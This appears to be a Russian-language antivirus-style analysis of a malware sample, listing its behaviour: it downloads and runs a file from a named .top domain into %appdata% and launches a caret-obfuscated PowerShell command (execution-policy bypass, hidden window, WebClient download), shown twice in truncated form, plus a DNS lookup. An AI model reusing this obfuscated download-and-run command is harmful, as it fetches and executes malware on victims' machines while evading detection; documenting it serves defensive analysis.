Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poW^e^rshe^lL^.EXe ^-EXeC^UT^i^onP^oLiCY BYpA^S^s ^-nopr^OFi^L^E -w^InDoWst^yL^E ^Hid^deN ^(N^eW^-^OBjEc^T^ S^YS^Tem.nET^.We^b^c^LIen^T^).D^O^w^NloAdFIle('http://www.fopei...
Сетевая активность
UDP
- DNS ASK fo###oaas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poW^e^rshe^lL^.EXe ^-EXeC^UT^i^onP^oLiCY BYpA^S^s ^-nopr^OFi^L^E -w^InDoWst^yL^E ^Hid^deN ^(N^eW^-^OBjEc^T^ S^YS^Tem.nET^.We^b^c^LIen^T^).D^O^w^NloAdFIle('http://www.fopei...' (со скрытым окном)
